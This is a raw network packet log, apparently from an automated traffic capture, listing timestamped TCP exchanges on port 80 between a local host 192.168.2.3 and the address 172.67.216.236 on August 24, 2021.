Aug 24, 2021 14:01:50.874233007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874241114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874260902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874283075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874288082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874305010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874330997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874331951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874351978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874380112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874383926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874406099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874427080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874429941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874456882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874473095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874484062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874500036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874516964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874526024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874533892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874560118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874560118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874584913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874607086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874618053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874633074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874654055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874660015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874685049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874702930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874711037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874739885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874753952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874768019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874783993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874799967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874808073 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874819994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874839067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874841928 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874855995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874875069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874878883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874891043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874913931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874919891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874947071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874960899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874963045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874994040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875013113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875013113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875029087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875053883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875058889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875082970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875099897 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875109911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875152111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875264883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875284910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875317097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875327110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875341892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875368118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875385046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875391960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875401974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875422001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875442028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875452042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875473976 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875480890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875513077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875520945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875545979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875577927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875585079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875608921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875638008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875648975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875668049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875700951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875706911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875724077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875741959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875760078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875771046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875777960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875797987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875804901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875814915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875849009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875858068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875888109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875890017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875906944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875932932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875946045 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.875957966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.875983953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876010895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876036882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876038074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876055002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876064062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876095057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876105070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876133919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876168966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876173973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876202106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876228094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876245975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876256943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876282930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876311064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876322985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876346111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876354933 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876374006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876391888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876418114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876419067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876435995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876454115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876471043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876492023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876492977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876509905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876519918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876527071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876539946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876555920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876569986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876571894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876590014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876611948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876621962 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876630068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876646042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876656055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876662970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876681089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876691103 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876697063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876714945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876723051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876733065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876754045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876760960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876771927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876789093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876796007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876806974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876823902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876835108 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876841068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876859903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876868010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876880884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876905918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876910925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876931906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876951933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876957893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.876967907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876986027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.876993895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877003908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877029896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877032995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877052069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877074003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877085924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877113104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877140999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877141953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877166033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877182961 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877197981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877230883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877253056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877263069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877289057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877317905 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877326965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877343893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877367973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877371073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877388000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877403975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877413034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877422094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877439022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877446890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877455950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877477884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877485037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877496004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877513885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877521992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877532005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877549887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877557993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877567053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877583981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877593040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877600908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877620935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877628088 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877639055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877655983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877665997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877674103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877691031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877697945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877707005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877724886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877728939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877742052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877762079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877763987 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877779961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877795935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877801895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877813101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877830982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877835035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877846956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877871990 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877877951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877907038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877921104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.877947092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877980947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.877998114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878010988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878046036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878052950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878072023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878098965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878112078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878130913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878164053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878171921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878190994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878220081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878233910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878245115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878287077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878297091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878325939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878357887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878366947 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878387928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878417015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878442049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878446102 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878467083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878489971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878492117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878525019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878540993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878560066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878581047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878607988 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878618956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878649950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878679037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878679991 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878705978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878724098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878731966 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878743887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878762960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878778934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878787994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878798008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878813982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878814936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878830910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878849030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878859043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878864050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878884077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878894091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878902912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878912926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878930092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878947020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878950119 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.878963947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878981113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.878998041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879012108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879020929 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879029989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879044056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879048109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879065990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879075050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879082918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879091978 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879101992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879133940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879136086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879148006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879152060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879173994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879192114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879196882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879209042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879228115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879234076 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879247904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879266977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879270077 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879283905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879301071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879309893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879321098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879338980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879345894 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879355907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879374027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879381895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879390955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879407883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879415989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879426956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879443884 CEST	80	49724	172.67.216.236	192.168.2.3
